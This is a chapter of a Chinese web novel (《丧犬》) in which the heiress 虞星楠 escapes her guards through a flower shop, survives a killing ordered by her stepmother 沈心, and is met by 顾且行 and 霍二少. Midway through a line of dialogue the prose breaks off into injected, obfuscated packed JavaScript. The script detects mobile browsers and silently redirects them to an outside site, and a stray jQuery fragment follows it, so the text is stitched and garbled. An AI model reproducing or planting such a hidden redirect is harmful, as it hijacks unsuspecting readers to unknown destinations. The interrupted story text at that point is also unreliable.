50. 第 50 章
作品:《丧犬》 虞星楠自那次疯狂咒骂翟星洲后,大概有一周没出门,也不跟翟星洲说话,但不妨碍他每晚抱着她入睡。
翟星洲早出晚归,虞星楠在院子里也不算太闲,一时兴起在后院种花,光翻新土都花了三天时间,没干过体力活的大小姐,手上摩得都是茧子。
翟星洲睡前摸着她手上的茧,以为摸错了,特意开灯看了半天。
“大小姐,你这是翻土弄的吧。”他自顾自的回答,“也对,难得你有兴趣。”总比闷着好,种花也算消遣。
虞星楠当然不会理他。
不过第二天,后院就出现许多专业的肥料、花种,甚至还有花艺师、园艺师过来帮忙打理。
一周后,虞星楠的花种也入了土。
翟星洲回来时连连拍掌表示庆贺,邀请她出去逛逛,虞星楠看了他一眼,当面弄翻了土地,将种好的花种翻出来。
裸露在外的种苗像是在嘲笑他的自作多情,翟星洲不气不恼,又种回去,忙到大半夜。
虞星楠就在窗户边看着。
直到身后有人靠近,是他请到别墅里帮忙的阿姨。
“大小姐,有电话找您。”
“不接。”
这不是阿姨第一次请她接电话,住进别墅以后虞星楠已经拒绝过三次,她知道是谁找来的,除了沈心没人这么关心她的死活。
“大小姐,这次不一样的,夫人说您接后就明白。”阿姨不敢抬头看她,举起手机递给她。
虞星楠注意到楼下还在翻土地的男人,漫不经心接过手机。
“喂。”
“虞星楠,我不想跟你废话。”
“彼此彼此。”
“后天,你想办法去欣欣花店,我在那等你。”
虞星楠倚靠窗边,正好翟星洲抬头看她,眼光炙热,在月光的照射下仿佛又回到了最纯净的时候。
虞星楠躲开他的视线,问沈心。
“这次你确定行吗?”
她想走,可是第一次沈心想杀她,第二次想卖了她,都说事不过三,沈心一次又一次突破底线,而且就算她计划周详,下一秒还是会被翟星洲找到。
她的好运气不会一直都在。
翟星洲不会一直容忍她的野蛮。
“你瞧不起谁呢?”
“沈心阿姨,我是瞧得起你儿子,要是再被他知道,他第一个就会杀了你。”
“别吓唬人,他可是我儿子,如果说硬要丢弃一枚棋子,也只会是你,虞星楠!”
沈心太狂妄了,一直认为松嘉慕是自己十月怀胎的好儿子,重孝为先,他会心疼他的母亲,而不是一个半路招惹的疯子。
可沈心忘了,翟星洲可不承认自己是松嘉慕,他只是她的干儿子,没有认定的血缘关系又怎么会惹来羁绊?
虞星楠一口答应,“行,后天见。”
“我会给你备好后路,其实我也不想咱们的关系弄得太尴尬,只要你不出现,我会当做什么都没发生,只要你离开松嘉慕。”
“可怜天下父母心,沈心阿姨,祝你好运。”
“应该是祝你好运。”
电话挂断。
虞星楠低头看去,翟星洲已经在收拾工具,她装作无事发生上床躺好。
半小时后,翟星洲跟以往一样揽住她的腰,身体贴上来,虞星楠没有反抗,她闻到了一股泥土的腥气,倒也不会反感。
翟星洲接收到讯息就开始放肆,起初是逐渐发烫的手心,再然后是游荡在颈肩、耳后炙热的呼吸。
“虞星楠,虞星楠……”
一声声缠绵,让她想起松嘉慕。
如果松嘉慕还活着就好了。
如果他也这么爱她就好了。
如果他们没有遇到就好了。
……
欣欣花店。
面积不大,花的品种繁多。
虞星楠在店内挑选鲜花,司机和保镖就在车外看着,翟星洲很体贴她,甚至安排了女保镖随身跟着她。
虞星楠挑了十来分钟,花太多了不好搬,就叫女保镖帮忙,起初还犹豫,虞星楠冷笑道:“怎么,你以为我会在这里逃了吗?这里可都是你们的人。”
女保镖进来前检查过这边,地方太小,少个人一眼就能看到,随即抱起花束去停车的地方。
总共就三米的距离,保镖接过花束,吐槽了一句,“听说这些花能有咱半个月的工资贵,什么矜贵东西,我一天才赚多少。”
做虞氏的保镖基本不差钱,他们是看不惯虞星楠的做派,典型的有钱人,无聊无脑。
女保镖并不掺合,转头就走回店里,只是真的少了一人,她当即紧张起来,“人呢,虞小姐人呢?”
她抓住花店老板的胳膊,老板娘哪里受过这种痛处,一边惊呼一边说:“不就是去上厕所了吗?还能去哪!”
老板娘指了个方向,女保镖立马冲过去,只是她以为锁死的后门已经不知不觉被撬开,就这样敞着门告诉她,虞星楠跑了!
“哎哟喂,这是谁干的好事!我的门锁怎么都砸了啊!”老板娘哭天喊地,拉着女保镖的胳膊让赔钱。
其余保镖冲进来又追出去,女保镖狠狠瞪着老板娘,“你最好是不知情,否则你这家花店也别想开下去!”
老板娘这才松开她,委屈巴巴的左看右看,“我这是造了什么孽,好端端的门锁谁砸了啊!都没人能进来的。”
“你说没人进来?那上厕所的不会进来吗?”
“可都是熟人啊,也就我和一个店员会进来,哦,我想起来了,刚才你们进来前送花的司机来过了。”
“哪个司机?叫什么名字?”女保镖态度严厉,她一逼问,老板娘的声音就吓得发抖,“还能是谁啊,就常年给我送花的老张,我的花都是春城直达空运来的,老张走冷链线的嘛,很多年的,他手下的人都很老实的,诶,我想起来了,今天来的司机很陌生,是没见过的生面孔。”
明朗了,都清楚了。
恐怕是送花的司机撬了锁,让虞星楠逃了,不过问题是谁在帮她。
旁人想不到,翟星洲却是马上就有了答案,他并未离开公司,而是直奔沈心办公室,不顾助理的阻拦,进了她屋。
沈心在桌前批文件,他进来后眼皮子都没抬,而是质问他什么事这么急,再急也不能失去风度。
翟星洲开门见山,“她去哪了?”
“谁?”沈心没放钢笔,她手中那支是高级定制款,全球独一无二的设计,只属于她一人,沈心读书不多,但很爱这支钢笔,仿佛有了它就有了尊贵无比的荣耀,她也能成为优雅的人上人。
翟星洲停顿两秒,“我问……”钢笔书写的声音太沉稳,每一笔落下的摩擦音都能成为他怒气的催化剂,于是,他一把夺走了钢笔,猛然摔在地上,“告诉我,她在哪!”
沈心的钢笔被抽走,手掌遗落了墨水,她突然笑出声,心情颇好的与他周旋,“你到底在说什么?”
“虞星楠,被你送去哪了?”
“她啊,不是在你的别墅吗?我跟她水火不容,没联系过。”
翟星洲早已预知她的答案,收起那股子怒气,抽出纸巾递给她,“沈总,利用花店的名义放她走不是明智之举,她只要搭乘任何交通工具离开,我都会在第一时间知道。”
沈心暗地咬牙,面上装作无碍,“都说了,翟总,我没那么大能耐放她走。”
“沈总,她对你已经没有威胁,为什么不放过她呢?”
“我真不懂你在说什么,她是我继女,当然对我没有威胁,现在虞氏是我和你的,她想回来就回来呗,如果她真走了,我还纳闷呢,好端端
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493237|141037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的日子不过,非要逃走吃苦,不会是内心愧疚于我吧。”
沈心从不会盼着虞星楠好过,她连她的人影都不想见到,虞星楠跑了,她要放烟花庆祝的。
翟星洲的神情已经没有刚进来时的戾气,他露出温和的爪牙,给沈心透露消息,“你知道吗,虞氏的敌人从来都不是虞星楠,只要你做主一天,虞氏的敌人只会是……霍氏。”
沈心眼眸发紧,“你说什么?你真的跟霍氏合作?”
“的确,我一开始说的合作只是幌子,毕竟吃力不讨好的事为什么要做呢,但此时此刻,我真的很厌恶被威胁的感觉,沈心,我调查过你的身世,你口中的好儿子松嘉慕,他知道你过去的肮脏上位史吗?”
沈心瞬间石化。
身体僵硬到说不出话。
他怎么会知道,为什么会查到已经消失的事!
“如果我是松嘉慕,我会恨你一辈子。”
那颗僵硬的心逐渐裂开,沈心身体发软,好几次试着站起来却又重新跌回座椅,她眼睁睁看着翟星洲合上办公室的门,眼泪击破她的脆弱,她顾不得擦眼泪,而是给带走虞星楠的人拨去电话。
“刀疤,计划有变。”
刀疤老樊前半辈子因为小偷小摸进了监狱,坐牢出来后就跟在沈心手下讨生活,听说沈心上一回让大鬼带走了虞星楠,本来是要送去机场,但中途改了计划要卖给边境的贩子。
这回老樊带走了虞星楠,计划又有变。
“这次我要她死。”
本来是要送去机场,现在得半路找机会送她上天堂。不过,老樊留了个心眼,上一回大鬼没回来而是直接被送进了监狱,这一回办不成事也有可能进去。
老樊是抄的近道去机场,开车狂飙,一路颠簸,接完电话后速度就降下来了,偶尔会从后视镜里观察虞星楠。
“还有多久能到?”她问。
这种弯曲的近道,虞星楠没怎么走过,她不喜欢赶路,向来都是预备充足时间赶飞机。
老樊挤出谄媚的笑,“还有半个小时。”
他一笑,脸上的刀疤就变得可怖,虞星楠好几次撞上他打量的视线,内心就发怵。
她的第六感还不错,又或许是因为她上过沈心好几回当,心里早有准备,于是她假装自己肚子疼。
“嘶……哎哟……我肚子好疼……”
“肚子疼?”老樊停在路边,回头问,“你真的肚子疼?可这附近没厕所啊。”
“有没有加油站啊,我不行了,我还想吐。”说着作呕吐状。
老樊已经拿出一把小刀藏在身后,他假惺惺说:“要不我给你看看?我学过中医。”说着就要上手拉她。
虞星楠躲了几次,就要被拉走时,真的呕了出来,吐了老樊一身,车里臭熏熏的,他自己闻着都受不了。
虞星楠拿起座椅下的水瓶,真诚的向他恳求,“我下去漱口水行吗,你的车也透透气,我真的难受。”
老樊看她一副肠胃应激模样,还真的打开车锁,下车的时候都在盯着她,等他给她开了车门,就那一瞬间,虞星楠脚踩他鞋,一瓶水冲他脸上喷去,老樊恍惚一下,伸手就要抓她。
虞星楠迅速蹲下去,猫腰往前跑,老樊大骂一声,谁料没追几步就被身后人一闷棍打趴下去了。
“虞星楠!”她听到熟悉的声音,犹如从天而降的救星,她喘着粗气回头,顾且行就站在躺着的老樊身旁对她招手。
顾且行,怎么会是他啊!
虞星楠大喜过望,转身却没有跑成,脚下打滑,身体后仰,没有想象中的狼狈落地,而是被一个仅有过一面之缘的男人稳住。
“好久不见了,虞小姐。”
第一次见应该是在遇仙楼。
虞星楠不知是该喜还是该忧,“好久不见,霍二少。”